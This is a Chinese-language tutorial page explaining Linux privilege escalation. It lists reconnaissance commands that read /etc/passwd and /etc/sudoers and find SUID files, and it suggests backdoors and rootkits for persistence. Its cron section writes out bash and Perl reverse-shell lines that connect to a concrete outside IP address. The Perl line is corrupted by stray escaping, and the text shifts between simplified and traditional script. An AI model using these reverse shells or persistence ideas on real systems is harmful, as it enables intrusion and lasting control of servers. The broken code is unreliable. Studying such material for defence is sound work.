首頁 > 運維 > linux運維 > linux提權是什麼意思

linux提權是什麼意思

青灯夜游
發布: 2023-03-15 10:46:19
原創
2575 人瀏覽過

提权指的是低权限用户利用各种合法的或非法的手段获取到了高于本用户的系统权限;Linux提权一般是指获取root用户权限的操作过程。Linux提权的本质一方面是信息收集,另一方面是对内核漏洞的掌握情况;提权是否成功的关键是信息收集是否完整。

linux提權是什麼意思

本教程操作环境:linux7.3系统、Dell G3电脑。

linux提权概念介绍

提权是什么

提权指的是低权限用户利用各种合法的或非法的手段获取到了高于本用户的系统权限。

详细来说,就是指利用操作系统或应用软件中的程序漏洞、设计缺陷或配置疏忽来获取对应用程序或用户来说受保护资源的高级访问权限。其结果是,应用程序可以获取比应用程序开发者或系统管理员预期的更高的特权,从而可以执行授权的动作。

Linux提权一般是指获取root用户权限的操作过程。

Linux提权目的

提权操作有风险为什么还要进行提权?什么情况下需要进行提权?获取高权限之后可以做什么?

通过命令执行漏洞获取的一个反弹shell或是通过Web漏洞获取了一个Webshell后,一般情况下权限都较低。在执行一些重要敏感的操作或是对重要的文件进行修改时无法正常进行,便需要进行提权。Linux中安装的数据库、中间件等一般都不是以root用户启动的,通过数据库或是中间件获取到的权限是是低权限的。

获取一个root权限是每一个黑客的梦想。

  • 读取写入服务器中的重要文件:
    • 修改root密码
    • 替换系统命令
  • 在系统中放置更为隐蔽的后门:
    • ping后门
    • Rootkit
  • 保证服务器重启之后权限仍在:
    • 内存后门

Linux提权本质

Linux提权的本质一方面是信息收集,另一方面是对内核漏洞的掌握情况。

Linux信息收集

任何提权的第一步操作一定是对操作系统进行信息收集。提权是否成功的关键是信息收集是否完整。

  • 内核设备信息:

    • uname -a    打印所有可用的系统信息
    • uname -r    内核版本
    • uname -n    系统主机名。
    • uname -m    查看系统内核架构(64位/32位)
    • hostname    系统主机名
    • cat /proc/version    内核信息
    • cat /etc/*-release   分发信息
    • cat /etc/issue       分发信息
    • cat /proc/cpuinfo    CPU信息
  • 用户和群组信息:

    • cat /etc/passwd     列出系统上的所有用户
    • cat /etc/group      列出系统上的所有组
    • grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'  列出所有的超级用户账户
    • whoami              查看当前用户
    • w                   谁目前已登录,他们正在做什么
    • last                最后登录用户的列表
    • lastlog             所有用户上次登录的信息
    • lastlog -u %username%  有关指定用户上次登录的信息
    • lastlog |grep -v "Never"  以前登录用户的信息
  • 用户和权限信息:

    • whoami        当前用户名
    • id            当前用户信息
    • cat /etc/sudoers  谁被允许以root身份执行
    • sudo -l       当前用户可以以root身份执行操作
  • 环境系统变量信息:

    • env        显示环境变量
    • set        现实环境变量
    • echo %PATH 路径信息
    • history    显示当前用户的历史命令记录
    • pwd        输出工作目录
    • cat /etc/profile   显示默认系统变量
    • cat /etc/shells    显示可用的shell

内核漏洞提权

内核漏洞提权指的是普通用户访问操作系统内核,利用内核漏洞将权限提高为root权限,一般首先需要知晓操作系统的内核,内核的版本等信息,再寻找内核漏洞的EXP进行提权

linux常用查看系统信息命令

uname -a 查看系统全部信息
uname -r 查看内核版本
cat /proc/version 查看内核信息
cat /etc/*-realease 查看CentOS版本
cat /etc/issue 查看Ubuntu版本
cat /etc/redhat-release 查看RedHat版本
env 查看环境变量
echo $PATH 查看当前环境变量
awk -F: '($3==0){print $1}' /etc/passwd 查找UID为0的用户
find / -user root -perm -4000 -exec ls -ldb {} \;  查找设置了SUID的文件
登入後複製

例子:

1)查看系统的内核版本

linux提權是什麼意思

2)使用kali的searchsploit尋找對應的核心漏洞或網路上尋找對應的核心漏洞

linux提權是什麼意思

3)使用gcc將C語言程式編譯成可執行文件,上傳至靶機,執行即可提權至root權限

Linux其他提權方法

1、排程任務提權

利用原理:

  • 當/bin/sh指向/bin/dash的時候(ubuntu預設這樣,當前的靶機也是這樣),反彈shell用bash的話得這樣彈: * * * * * root bash -c "bash -i  >&/dev/tcp/106.13.124.93/2333 0>&1"
    這樣彈shell的時候不知道為什麼很慢,耐心等等
  • */1 * * * * root perl -e 'use Socket;\(i="106.13.124.93";\)p=2333;socket(S,PF_INET,SOCK_STREAM ,getprotobyname("tcp"));if(connect(S,sockaddr_in(\(p,inet_aton(\)i)))){open(STDIN,">&S");open( STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

2、利用SUID提權

  • SUID概念:SUID(設定使用者ID)是賦予檔案的一種權限,它會出現在檔案擁有者權限的執行位上,具有這種權限的檔案會在執行時,使呼叫者暫時取得該檔案擁有者的權限。 SUID可以讓呼叫者以文件擁有者的身份運行該文件,所以我們利用SUID提權的想法就是運行root用戶所擁有的SUID的文件,那麼我們運行該文件的時候就得獲得root用戶的身份了。那麼,為什麼要給Linux二進位檔案設定這種權限呢?其實原因有很多,例如,程式ping需要root權限才能開啟網路套接字,但執行程式的用戶通常都是由一般用戶,來驗證與其他主機的連通性。

  • SUID提點:什麼是suid提權呢?一個文件,它有s標誌,而且他輸入root,那麼我們運行這個程式就可以有了root的權限,而且這個程式還得能執行命令,那麼我們就能從普通用戶提升到了root權限了。

  • 在本機上尋找符合條件的檔案。

    • find / -user root -perm -4000 -print 2>/dev/null
    • find / -perm -u=s -type f 2>/dev/null
    • find / -user root -perm -4000 -exec ls -ldb {} ;
  • 常見的可以提權的程式

    • nmap vim find Bash More Less Nano cp netcat

#3、利用SUDO提權

##Linux系統中可以使用sudo執行一個只有root才能執行的指令,設定檔保存在/etc/sudoers,sudo -l可以列出目前使用者支援sudo的指令。

盡量從程式碼層面進行漏洞的分析。

4、環境變數提權

  • 查看目前環境變數:

      echo $PATH

5、root權限運行的服務

    #以root的運行的服務,其中包括第三方軟體都可以進行提權。
相關推薦:《

Linux影片教學

以上是linux提權是什麼意思的詳細內容。更多資訊請關注PHP中文網其他相關文章!

相關標籤:
來源:php.cn
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板